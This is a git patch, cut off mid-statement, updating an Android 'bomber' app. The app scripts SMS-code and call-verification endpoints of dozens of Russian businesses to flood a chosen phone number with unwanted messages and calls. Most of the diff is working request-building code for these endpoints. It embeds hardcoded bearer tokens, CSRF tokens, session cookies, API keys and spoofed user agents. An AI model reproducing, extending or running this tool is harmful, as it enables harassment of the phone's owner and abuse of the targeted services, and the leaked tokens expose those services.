From 99305036edea9a269432b652c3ec210a12a3608a Mon Sep 17 00:00:00 2001 From: Dmitry Date: Sat, 19 Feb 2022 11:30:12 +0300 Subject: [PATCH] feat: Update 1.10 --- .gitignore | 2 +- .idea/compiler.xml | 4 +- .idea/misc.xml | 17 +- app/build.gradle | 23 +- app/release/output-metadata.json | 20 ++ .../java/com/dm/bomber/MainRepository.java | 11 +- .../com/dm/bomber/services/BibiSushi.java | 32 -- .../java/com/dm/bomber/services/Boxberry.java | 40 --- .../com/dm/bomber/services/Citydrive.java | 39 --- .../com/dm/bomber/services/Dodopizza.java | 16 - .../main/java/com/dm/bomber/services/EKA.java | 36 --- .../java/com/dm/bomber/services/Fivepost.java | 26 -- .../java/com/dm/bomber/services/HHru.java | 29 -- .../com/dm/bomber/services/KazanExpress.java | 59 ---- .../main/java/com/dm/bomber/services/MBK.java | 28 -- .../main/java/com/dm/bomber/services/MFC.java | 25 -- .../java/com/dm/bomber/services/MTSBank.java | 16 - .../java/com/dm/bomber/services/Magnit.java | 21 -- .../java/com/dm/bomber/services/Mirkorma.java | 21 -- .../java/com/dm/bomber/services/Paygram.java | 16 - .../java/com/dm/bomber/services/PetStory.java | 35 --- .../java/com/dm/bomber/services/Service.java | 3 +- .../java/com/dm/bomber/services/Services.java | 293 +++++++++++++++++- .../com/dm/bomber/services/SravniMobile.java | 25 -- .../com/dm/bomber/services/Stolichki.java | 27 -- .../java/com/dm/bomber/services/TakeEat.java | 41 --- .../java/com/dm/bomber/services/TeaRU.java | 26 -- .../main/java/com/dm/bomber/services/VSK.java | 40 --- .../java/com/dm/bomber/services/WebCom.java | 23 -- .../com/dm/bomber/services/YandexTips.java | 22 -- .../java/com/dm/bomber/services/YotaTV.java | 57 ---- .../com/dm/bomber/ui/CountryCodeAdapter.java | 1 - .../java/com/dm/bomber/ui/MainActivity.java | 73 ++--- .../java/com/dm/bomber/ui/MainViewModel.java | 15 - app/src/main/res/drawable/cycles_count.xml | 2 +- app/src/main/res/drawable/ic_all.xml | 4 +- app/src/main/res/drawable/ic_octocat_fill.xml | 9 + app/src/main/res/drawable/ic_ru.xml | 4 +- app/src/main/res/drawable/ic_uk.xml | 4 +- app/src/main/res/drawable/phone_input.xml | 2 +- app/src/main/res/layout/activity_main.xml | 28 +- app/src/main/res/layout/dialog_settings.xml | 11 +- app/src/main/res/values-de/strings.xml | 15 - app/src/main/res/values-kz/strings.xml | 14 +- app/src/main/res/values-night/themes.xml | 2 - app/src/main/res/values-ru/strings.xml | 14 +- app/src/main/res/values-uk/strings.xml | 14 +- app/src/main/res/values/strings.xml | 20 +- app/src/main/res/values/styles.xml | 2 +- app/src/main/res/values/themes.xml | 2 - build.gradle | 6 +- gradle/wrapper/gradle-wrapper.properties | 2 +- 52 files changed, 454 insertions(+), 863 deletions(-) create mode 100644 app/release/output-metadata.json delete mode 100644 app/src/main/java/com/dm/bomber/services/BibiSushi.java delete mode 100644 app/src/main/java/com/dm/bomber/services/Boxberry.java delete mode 100755 app/src/main/java/com/dm/bomber/services/Citydrive.java delete mode 100644 app/src/main/java/com/dm/bomber/services/Dodopizza.java delete mode 100644 app/src/main/java/com/dm/bomber/services/EKA.java delete mode 100644 app/src/main/java/com/dm/bomber/services/Fivepost.java delete mode 100644 app/src/main/java/com/dm/bomber/services/HHru.java delete mode 100644 app/src/main/java/com/dm/bomber/services/KazanExpress.java delete mode 100644 app/src/main/java/com/dm/bomber/services/MBK.java delete mode 100644 app/src/main/java/com/dm/bomber/services/MFC.java delete mode 100644 app/src/main/java/com/dm/bomber/services/MTSBank.java delete mode 100644 app/src/main/java/com/dm/bomber/services/Magnit.java delete mode 100644 app/src/main/java/com/dm/bomber/services/Mirkorma.java delete mode 100644 app/src/main/java/com/dm/bomber/services/Paygram.java delete mode 100644 app/src/main/java/com/dm/bomber/services/PetStory.java delete mode 100644 app/src/main/java/com/dm/bomber/services/SravniMobile.java delete mode 100644 app/src/main/java/com/dm/bomber/services/Stolichki.java delete mode 100644 app/src/main/java/com/dm/bomber/services/TakeEat.java delete mode 100644 app/src/main/java/com/dm/bomber/services/TeaRU.java delete mode 100644 app/src/main/java/com/dm/bomber/services/VSK.java delete mode 100644 app/src/main/java/com/dm/bomber/services/WebCom.java delete mode 100644 app/src/main/java/com/dm/bomber/services/YandexTips.java delete mode 100644 app/src/main/java/com/dm/bomber/services/YotaTV.java create mode 100644 app/src/main/res/drawable/ic_octocat_fill.xml delete mode 100644 app/src/main/res/values-de/strings.xml diff --git a/.gitignore b/.gitignore index 56cc642..a68505f 100644 --- a/.gitignore +++ b/.gitignore @@ -60,7 +60,7 @@ captures/ .cxx/ # Google Services (e.g. APIs or Firebase) -# google-services.json +google-services.json # Freeline freeline.py diff --git a/.idea/compiler.xml b/.idea/compiler.xml index 03e1498..fb7f4a8 100644 --- a/.idea/compiler.xml +++ b/.idea/compiler.xml @@ -1,8 +1,6 @@ - - - + \ No newline at end of file diff --git a/.idea/misc.xml b/.idea/misc.xml index 7c28fc7..9a5f980 100644 --- a/.idea/misc.xml +++ b/.idea/misc.xml @@ -3,6 +3,20 @@ - + + diff --git a/app/build.gradle b/app/build.gradle index 84b1fc5..51278c2 100644 --- a/app/build.gradle +++ b/app/build.gradle @@ -1,9 +1,12 @@ plugins { id 'com.android.application' + + id 'com.google.gms.google-services' apply(true) + id 'com.google.firebase.crashlytics' apply(true) } android { - compileSdkVersion 31 + compileSdkVersion 32 buildToolsVersion "30.0.3" buildFeatures { @@ -13,9 +16,9 @@ android { defaultConfig { applicationId "com.dm.bomber" minSdkVersion 21 - targetSdkVersion 31 - versionCode 13 - versionName "1.9" + targetSdkVersion 32 + versionCode 14 + versionName "1.10" } buildTypes { @@ -32,10 +35,14 @@ android { } dependencies { + implementation platform('com.google.firebase:firebase-bom:29.1.0') + + implementation 'com.google.firebase:firebase-crashlytics' + implementation 'com.google.firebase:firebase-analytics' + implementation 'androidx.appcompat:appcompat:1.4.1' - implementation 'androidx.preference:preference:1.1.1' - implementation 'com.google.android.material:material:1.6.0-alpha01' + implementation 'androidx.preference:preference:1.2.0' + implementation 'com.google.android.material:material:1.6.0-alpha02' implementation 'com.squareup.okhttp3:okhttp:4.9.0' - implementation 'jp.wasabeef:blurry:4.0.0' - implementation 'com.github.jetradarmobile:android-snowfall:1.2.1' + implementation 'jp.wasabeef:blurry:4.0.1' } \ No newline at end of file diff --git a/app/release/output-metadata.json b/app/release/output-metadata.json new file mode 100644 index 0000000..95a2c2f --- /dev/null +++ b/app/release/output-metadata.json @@ -0,0 +1,20 @@ +{ + "version": 3, + "artifactType": { + "type": "APK", + "kind": "Directory" + }, + "applicationId": "com.dm.bomber", + "variantName": "release", + "elements": [ + { + "type": "SINGLE", + "filters": [], + "attributes": [], + "versionCode": 14, + "versionName": "1.10", + "outputFile": "app-release.apk" + } + ], + "elementType": "File" +} \ No newline at end of file diff --git a/app/src/main/java/com/dm/bomber/MainRepository.java b/app/src/main/java/com/dm/bomber/MainRepository.java index 8affee3..216679a 100644 --- a/app/src/main/java/com/dm/bomber/MainRepository.java +++ b/app/src/main/java/com/dm/bomber/MainRepository.java @@ -21,8 +21,7 @@ public class MainRepository { private static final String DARKMODE = "darkmode"; private static final String LAST_PHONE = "last_phone"; private static final String LAST_COUNTRYCODE = "last_countrycode"; - private static final String PROMOTION_SHOWN = "promotion_shown2"; - private static final String SNOWFALL_ENABLED = "snowfall_enabled"; + private static final String PROMOTION_SHOWN = "promotion_shown3"; private static final String PROXY = "proxy"; private static final String PROXY_ENABLED = "proxy_enabled"; @@ -105,12 +104,4 @@ public void setProxyEnabled(boolean enabled) { public boolean isProxyEnabled() { return preferences.getBoolean(PROXY_ENABLED, false); } - - public void setSnowfallEnabled(boolean enabled) { - preferences.edit().putBoolean(SNOWFALL_ENABLED, enabled).apply(); - } - - public boolean isSnowfallEnabled() { - return preferences.getBoolean(SNOWFALL_ENABLED, false); - } } diff --git a/app/src/main/java/com/dm/bomber/services/BibiSushi.java b/app/src/main/java/com/dm/bomber/services/BibiSushi.java deleted file mode 100644 index 0285ea6..0000000 --- a/app/src/main/java/com/dm/bomber/services/BibiSushi.java +++ /dev/null @@ -1,32 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.FormBody; -import okhttp3.Request; - -public class BibiSushi extends FormService { - - public BibiSushi() { - setUrl("https://bibi-sushi.ru/?action=auth"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36"); - - return super.buildRequest(builder); - } - - @Override - public void buildBody(FormBody.Builder builder) { - String password = getUserName(); - - builder.add("CSRF", ""); - builder.add("ACTION", "REGISTER"); - builder.add("MODE", "PHONE"); - builder.add("PHONE", format(phone, "+7 (***) ***-**-**")); - builder.add("PASSWORD", password); - builder.add("PASSWORD2", password); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Boxberry.java b/app/src/main/java/com/dm/bomber/services/Boxberry.java deleted file mode 100644 index 9b5fe5f..0000000 --- a/app/src/main/java/com/dm/bomber/services/Boxberry.java +++ /dev/null @@ -1,40 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -import okhttp3.Request; - -public class Boxberry extends JsonService { - - public Boxberry() { - setUrl("https://mobile.boxberry.ru/api/v1/sms/code/send"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("platform", "android"); - builder.addHeader("os-version", "11"); - builder.addHeader("app-version", "1.5.2"); - builder.addHeader("device", "null"); - builder.addHeader("x-access-token", "null"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone", getFormattedPhone()); - json.put("reason", "registration"); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Citydrive.java b/app/src/main/java/com/dm/bomber/services/Citydrive.java deleted file mode 100755 index 7b24392..0000000 --- a/app/src/main/java/com/dm/bomber/services/Citydrive.java +++ /dev/null @@ -1,39 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -import okhttp3.Request; - -public class Citydrive extends JsonService { - - public Citydrive() { - setUrl("https://cs-v2.youdrive.today/signup"); - setMethod(POST); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("User-Agent", "carsharing/4.1.1 (Linux; Android 11; M2010J19SY Build/REL)"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("os", "android"); - json.put("phone", phone); - json.put("phone_code", countryCode); - json.put("token", "null"); - json.put("token_type", "fcm"); - json.put("vendor_id", "null"); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Dodopizza.java b/app/src/main/java/com/dm/bomber/services/Dodopizza.java deleted file mode 100644 index 7f4ec0a..0000000 --- a/app/src/main/java/com/dm/bomber/services/Dodopizza.java +++ /dev/null @@ -1,16 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.FormBody; - -public class Dodopizza extends FormService { - - public Dodopizza() { - setUrl("https://dodopizza.kz/api/sendconfirmationcode"); - setMethod(POST); - } - - @Override - public void buildBody(FormBody.Builder builder) { - builder.add("phoneNumber", "+" + getFormattedPhone()); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/EKA.java b/app/src/main/java/com/dm/bomber/services/EKA.java deleted file mode 100644 index d2103e0..0000000 --- a/app/src/main/java/com/dm/bomber/services/EKA.java +++ /dev/null @@ -1,36 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -import okhttp3.Request; - -public class EKA extends JsonService { - - public EKA() { - setUrl("https://app.eka.ru/Api/Auth/Login"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("User-Agent", "ru.growapps.eka/2.9 (None; Android 11)"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("Type", "0"); - json.put("Login", "+" + getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Fivepost.java b/app/src/main/java/com/dm/bomber/services/Fivepost.java deleted file mode 100644 index 9205fbe..0000000 --- a/app/src/main/java/com/dm/bomber/services/Fivepost.java +++ /dev/null @@ -1,26 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -public class Fivepost extends JsonService { - - public Fivepost() { - setUrl("https://api-omni.x5.ru/api/v1/clients-portal/auth/send-sms-code"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phoneNumber", "+" + getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/HHru.java b/app/src/main/java/com/dm/bomber/services/HHru.java deleted file mode 100644 index 6f2323b..0000000 --- a/app/src/main/java/com/dm/bomber/services/HHru.java +++ /dev/null @@ -1,29 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.HttpUrl; -import okhttp3.Request; - -public class HHru extends ParamsService { - - public HHru() { - setUrl("https://api.hh.ru/one_time_password/phone/generate"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("User-Agent", "ru.hh.android/6.36.11083, Device: M2010J19SY, Android OS: 11 (UUID: b9b32fc8-2088-42cf-a87a-1c99aa980bfe)"); - builder.addHeader("Authorization", "Bearer K811HJNKQA8V1UN53I6PN1J1CMAD2L1M3LU6LPAU849BCT031KDSSM485FDPJ6UF"); - - return super.buildRequest(builder); - } - - @Override - public void buildParams(HttpUrl.Builder builder) { - builder.addQueryParameter("login", getFormattedPhone()); - builder.addQueryParameter("notification_type", "call"); - builder.addQueryParameter("host", "hh.ru"); - builder.addQueryParameter("locale", "RU"); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/KazanExpress.java b/app/src/main/java/com/dm/bomber/services/KazanExpress.java deleted file mode 100644 index 0c84e1e..0000000 --- a/app/src/main/java/com/dm/bomber/services/KazanExpress.java +++ /dev/null @@ -1,59 +0,0 @@ -package com.dm.bomber.services; - -import androidx.annotation.NonNull; - -import org.json.JSONException; -import org.json.JSONObject; - -import java.io.IOException; - -import okhttp3.Call; -import okhttp3.MediaType; -import okhttp3.OkHttpClient; -import okhttp3.Request; -import okhttp3.RequestBody; -import okhttp3.Response; - -public class KazanExpress extends Service { - - @Override - public void run(OkHttpClient client, Callback callback) { - JSONObject register = new JSONObject(); - - try { - register.put("phone", phone); - register.put("platform", "ANDROID"); - } catch (JSONException e) { - e.printStackTrace(); - } - - client.newCall(new Request.Builder() - .url("https://api.kazanexpress.ru/api/v2/account/register/customer") - .header("User-Agent", "KazanExpress/Android (com.kazanexpress.ke_app; 1.4.5)") - .header("Authorization", "Basic a2F6YW5leHByZXNzLWFuZHJvaWQ6YW5kcm9pZFNlY3JldEtleQ==") - .post(RequestBody.create(register.toString(), MediaType.parse("application/json"))) - .build()).enqueue(new okhttp3.Callback() { - @Override - public void onFailure(@NonNull Call call, @NonNull IOException e) { - callback.onFailure(call, e); - } - - @Override - public void onResponse(@NonNull Call call, @NonNull Response response) { - JSONObject login = new JSONObject(); - - try { - login.put("login", getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - client.newCall(new Request.Builder() - .url("https://api.kazanexpress.ru/api/restore") - .header("User-Agent", "KazanExpress/Android (com.kazanexpress.ke_app; 1.4.5)") - .post(RequestBody.create(login.toString(), MediaType.parse("application/json"))) - .build()).enqueue(callback); - } - }); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/MBK.java b/app/src/main/java/com/dm/bomber/services/MBK.java deleted file mode 100644 index 46ffe24..0000000 --- a/app/src/main/java/com/dm/bomber/services/MBK.java +++ /dev/null @@ -1,28 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.FormBody; -import okhttp3.Request; - -public class MBK extends FormService { - - public MBK() { - setUrl("https://www.mbk.ru/recall-send"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public void buildBody(FormBody.Builder builder) { - builder.add("phone", format(phone, "+7 *** *** ** **")); - builder.add("name", "Дмитрий"); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("x-csrf-token", "wHwdsu3nbvaKUrQlIv584X3TQIMoDdfw49w9O8ha"); - builder.addHeader("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36"); - builder.addHeader("Cookie", "_ym_uid=1632239171836515994; _ym_d=1632239171; tmr_lvid=5e79609d1c2e5c684d07fbb86e45e683; tmr_lvidTS=1632239172549; k50uuid=eab04476-53a0-45e4-82fa-0953bf7a76eb; k50sid=44b5c786-23f4-4590-aa35-444f2fd9aa5f; _ga=GA1.2.954495202.1632239173; _gid=GA1.2.869577097.1632239173; _ym_isad=2; _ym_visorc=w; _fbp=fb.1.1632239173810.349487315; XSRF-TOKEN=eyJpdiI6Ijg4dU9hbnQzb3VnS2Z6Q1NzNmZva0E9PSIsInZhbHVlIjoiRllrbms2cWZDaVJ1SENFajkvWGlZazhPdTdHbHdMU0MvcUJodDhVUExrSFM3ZjQ1ZFdpbjNBMlIwT09DaTBzb2RVYlNtKzZBUEJkb3B6ZWJsQk1iMnEwMVdSck1tSjV3TzNzT01valRYRjZYakxBWFJ3Y2ZIdkk3eUdnRnl0dzYiLCJtYWMiOiIzZTVmZGI0ODA0MzcyYmZlN2Y2NjhhNmFhMjNjZDlmMGUxZGRkZjQyYjAwZGNlMGExM2MyMWM1ZTU4NDZlNTY4In0%3D; mbk_session=eyJpdiI6InZNZGZoT1Byd1Nta1MyTUQ4ZjRvaVE9PSIsInZhbHVlIjoiZHYvR09yVHJ1MjdQUjM1UVVNTHovNTU1cmFhNjJoWUpmUU5oZlNyNWJNbmtSbXNiVktMSHAwRlkvcUtkR3A2N2lsSTZoWDltRGszVEdPVjZJODY0My93R2w0aDlPOHE0MURxbWhXbXZpNmJFNmpQbmZ5WUVjZGVNZkxBbHd5ZlAiLCJtYWMiOiJhZDhjOWY4ZmNkZDA1OTJkMWE2ZTdiMDk4M2QyMzEwNjczZmE3MDcwZDIwMjZlYTU5OWRmNjNjYjFjMjA5Mjc1In0%3D; k50lastvisit=5e66b839b5fe87ac40628689c00d5d639267ca62.595c3cce2409a55c13076f1bac5edee529fc2e58.5e66b839b5fe87ac40628689c00d5d639267ca62.da39a3ee5e6b4b0d3255bfef95601890afd80709.1632239268849; 794791647935278_k50cookie=38807.67085.16322392565208; tmr_detect=0%7C1632239273973; tmr_reqNum=16"); - - return super.buildRequest(builder); - } -} \ No newline at end of file diff --git a/app/src/main/java/com/dm/bomber/services/MFC.java b/app/src/main/java/com/dm/bomber/services/MFC.java deleted file mode 100644 index 2c171e7..0000000 --- a/app/src/main/java/com/dm/bomber/services/MFC.java +++ /dev/null @@ -1,25 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.HttpUrl; -import okhttp3.Request; - -public class MFC extends ParamsService { - - public MFC() { - setUrl("https://api.mfc-d.com/v1/auth/phone"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("User-Agent", "MFC/1.2.40 (com.mfcd.digital; build:68; Android 11 (30))"); - - return super.buildRequest(builder); - } - - @Override - public void buildParams(HttpUrl.Builder builder) { - builder.addQueryParameter("phone", "+" + getFormattedPhone()); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/MTSBank.java b/app/src/main/java/com/dm/bomber/services/MTSBank.java deleted file mode 100644 index 12f1260..0000000 --- a/app/src/main/java/com/dm/bomber/services/MTSBank.java +++ /dev/null @@ -1,16 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.FormBody; - -public class MTSBank extends FormService { - - public MTSBank() { - setUrl("https://www.mtsbank.ru/ajax/sms.php"); - setMethod(POST); - } - - @Override - public void buildBody(FormBody.Builder builder) { - builder.add("phone", getFormattedPhone()); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Magnit.java b/app/src/main/java/com/dm/bomber/services/Magnit.java deleted file mode 100644 index f6f5fa2..0000000 --- a/app/src/main/java/com/dm/bomber/services/Magnit.java +++ /dev/null @@ -1,21 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.Request; - -public class Magnit extends Gorparkovka { - - public Magnit() { - setUrl("https://middle-api.magnit.ru/v3/auth/otp"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("Device-Platform", "Android"); - builder.addHeader("x-device-platform", "Android"); - builder.addHeader("x-app-version", "6.18.5"); - - return super.buildRequest(builder); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Mirkorma.java b/app/src/main/java/com/dm/bomber/services/Mirkorma.java deleted file mode 100644 index c23cb89..0000000 --- a/app/src/main/java/com/dm/bomber/services/Mirkorma.java +++ /dev/null @@ -1,21 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.FormBody; - -public class Mirkorma extends FormService { - - public Mirkorma() { - setUrl("https://www.mirkorma.ru/"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public void buildBody(FormBody.Builder builder) { - builder.add("by", "phone"); - builder.add("action", "getCode"); - builder.add("login", format(phone, "+7 (***) ***-**-**")); - builder.add("is_auth_request", "y"); - builder.add("ajaxId", "de5ddc6af00fafe60b5c9bf48d2e7d6e"); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Paygram.java b/app/src/main/java/com/dm/bomber/services/Paygram.java deleted file mode 100644 index aeea1a6..0000000 --- a/app/src/main/java/com/dm/bomber/services/Paygram.java +++ /dev/null @@ -1,16 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.FormBody; - -public class Paygram extends FormService { - - public Paygram() { - setUrl("https://api.paygram.io/join"); - setMethod(POST); - } - - @Override - public void buildBody(FormBody.Builder builder) { - builder.add("phone", getFormattedPhone()); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/PetStory.java b/app/src/main/java/com/dm/bomber/services/PetStory.java deleted file mode 100644 index 429de72..0000000 --- a/app/src/main/java/com/dm/bomber/services/PetStory.java +++ /dev/null @@ -1,35 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -import okhttp3.Request; - -public class PetStory extends JsonService { - - public PetStory() { - setUrl("https://mobile.petstory.ru/api/v1/phone/sms/send/"); - setMethod(POST); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("X-Application-Version", "5.0.1"); - builder.addHeader("X-Platform", "Android"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone", "+" + getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Service.java b/app/src/main/java/com/dm/bomber/services/Service.java index a691f44..233e596 100644 --- a/app/src/main/java/com/dm/bomber/services/Service.java +++ b/app/src/main/java/com/dm/bomber/services/Service.java @@ -42,9 +42,8 @@ public static String format(String phone, String mask) { StringBuilder formattedPhone = new StringBuilder(); int index = 0; - for (char symbol : mask.toCharArray()) { + for (char symbol : mask.toCharArray()) formattedPhone.append(symbol == '*' ? phone.charAt(index++) : symbol); - } return formattedPhone.toString(); } diff --git a/app/src/main/java/com/dm/bomber/services/Services.java b/app/src/main/java/com/dm/bomber/services/Services.java index 438fed6..48c1edf 100644 --- a/app/src/main/java/com/dm/bomber/services/Services.java +++ b/app/src/main/java/com/dm/bomber/services/Services.java @@ -482,7 +482,7 @@ public void buildBody(FormBody.Builder builder) { builder.add("signedParameters", ""); builder.add("query[phone]", format(phone, "+7 (***) ***-**-**")); builder.add("SITE_ID", "s1"); - builder.add("sessid", "3138322a7c84ed7650039e465ffd5908"); + builder.add("sessid", "b4f37bbc68c502a6f442db031b3b65ea"); } }, @@ -890,5 +890,296 @@ public String buildJson() { return json.toString(); } }, + + new JsonService("https://xn--90aamkcop0a.xn--p1ai/api/v5/user/start-authorization", 7) { + @Override + public String buildJson() { + JSONObject json = new JSONObject(); + + try { + json.put("phone", format(phone, "+7 *** ***-**-**")); + } catch (JSONException e) { + e.printStackTrace(); + } + + return json.toString(); + } + }, + + new JsonService("https://xn--80adjkr6adm9b.xn--p1ai/api/v5/user/start-authorization", 7) { + @Override + public String buildJson() { + JSONObject json = new JSONObject(); + + try { + json.put("phone", format(phone, "+7 *** ***-**-**")); + } catch (JSONException e) { + e.printStackTrace(); + } + + return json.toString(); + } + }, + + new Service(7) { + @Override + public void run(OkHttpClient client, Callback callback) { + client.newCall(new Request.Builder() + .url("https://mirage.ru/api/ajax.php") + .post(RequestBody.create("------WebKitFormBoundarylD2tjgLGIApyeAbe\n" + + "Content-Disposition: form-data; name=\"phone\"\n\n" + + format(phone, "+7 (***) ***-**-**") + + "\n------WebKitFormBoundarylD2tjgLGIApyeAbe\n" + + "Content-Disposition: form-data; name=\"func\"\n\n" + + "auth_send_code\n" + + "------WebKitFormBoundarylD2tjgLGIApyeAbe\n" + + "Content-Disposition: form-data; name=\"module\"\n\n" + + "cabinet\n" + + "------WebKitFormBoundarylD2tjgLGIApyeAbe--", MediaType.parse("multipart/form-data; boundary=----WebKitFormBoundarylD2tjgLGIApyeAbe"))) + .build()).enqueue(callback); + } + }, + + new FormService("https://avilon.ru/ajax/modal/auth.php", 7) { + @Override + public Request buildRequest(Request.Builder builder) { + builder.addHeader("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.80 Safari/537.36 Edg/98.0.1108.43"); + + return super.buildRequest(builder); + } + + @Override + public void buildBody(FormBody.Builder builder) { + builder.add("action", "1"); + builder.add("step", "1"); + builder.add("template", "mobile"); + builder.add("phone", format(phone, "+7 *** *** ** **")); + } + }, + + new ParamsService("https://fe.dominospizza.ru/api/authentication/sendVerificationSms", "POST", 7) { + @Override + public Request buildRequest(Request.Builder builder) { + builder.addHeader("authorization", "Bearer eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwidHlwIjoiSldUIn0.lk7imFwFM9_w7KDujmn0jxArTGubuk-GZOw2r-RGAGeV1BDiFJZJzQ.AFBzB-1QZo01LFVo-c1X6w.7YADNKglX4DWWqFyz09vl9ze0KySLLHiDvIiQYef02c_kmrDnFBmPKibAR5EVREzZRTmN4sJ6lFNwYLeMtOaqrNWyJGz3zcYoahvjcjB5B9mCfLcVX1ugbCvYpbimvACn4P613afErS_0VvShR8vsdv3T3z6q5qx3w9CmuDLkzUUnqJ8BvO8kafNQQsUhZ6vJBoxv6cLf4UKNzHwGFU84g6kx2aBP2jJV8H6bpzbRqRsGWKWxb46ZKW01Cs5-BesuhNN25euWpY4uwYkM0Lqz6UX9_Hu0b7cZyH6JOy_H_y6aHZm1mZdiWex_FSbIf6it2_oZgsRFQLMPRqwfl9JXeCLrtaXipbwUjrFvaOC3pnEgYZ_y0iiCgse_i1tneeHgwQm7sjM7qEskqLPkqXOe2rCqn3mjFtfMAw95nrOXPQQ38UqEAdWUvDJDh141WYLw-wLfKjONldE0b-dNk5coKeptItF-0abCWgq6s6giAs.JZ-M2bpaATtWYaLPm3-hqA"); + + return super.buildRequest(builder); + } + + @Override + public void buildParams(HttpUrl.Builder builder) { + builder.addQueryParameter("phoneNumber", phone); + } + }, + + new JsonService("https://beloris.ru/ajax/users/send_sms_login", 7) { + @Override + public Request buildRequest(Request.Builder builder) { + builder.addHeader("x-csrf-token", ""); + + return super.buildRequest(builder); + } + + @Override + public String buildJson() { + JSONObject json = new JSONObject(); + + try { + json.put("phone", format(phone, "+7(***) ***-****")); + } catch (JSONException e) { + e.printStackTrace(); + } + + return json.toString(); + } + }, + + new JsonService("https://vyksa.fitauto.ru/users.getsmscode.fn", 7) { + @Override + public String buildJson() { + JSONObject json = new JSONObject(); + + try { + json.put("phone", phone); + json.put("token", "QJB68LnzWeFWphIwFSNW0oEiqDmKKc8lJ8TbU7Wm"); + } catch (JSONException e) { + e.printStackTrace(); + } + + return json.toString(); + } + }, + + new ParamsService("https://m.avtoall.ru/cart/order/api/phone", 7) { + @Override + public Request buildRequest(Request.Builder builder) { + builder.addHeader("Cookie", "PHPSESSID3=1lld5u0hic440f37ilipkcaq71; out_location_data=C%3A15%3A%22OutLocationData%22%3A48%3A%7Ba%3A2%3A%7Bs%3A10%3A%22locationId%22%3Bb%3A0%3Bs%3A9%3A%22confirmed%22%3Bb%3A0%3B%7D%7D; split=split-a; _ga=GA1.2.876559525.1644854748; _gid=GA1.2.144615146.1644854748; _ym_uid=1644854749375021234; _ym_d=1644854749; lastHost=m.avtoall.ru; _ym_isad=2; _dn_sid=ee0c8210-3e11-4fed-ba9f-05ed60687722; location_data=C%3A12%3A%22LocationData%22%3A55%3A%7Ba%3A2%3A%7Bs%3A10%3A%22locationId%22%3Bs%3A4%3A%222941%22%3Bs%3A9%3A%22confirmed%22%3Bb%3A1%3B%7D%7D"); + + return super.buildRequest(builder); + } + + @Override + public void buildParams(HttpUrl.Builder builder) { + builder.addQueryParameter("phone", format(phone, "+7 (***) ***-****")); + builder.addQueryParameter("key", "51df7fb4cfc3e8e518fa346710b7712e"); + } + }, + + new 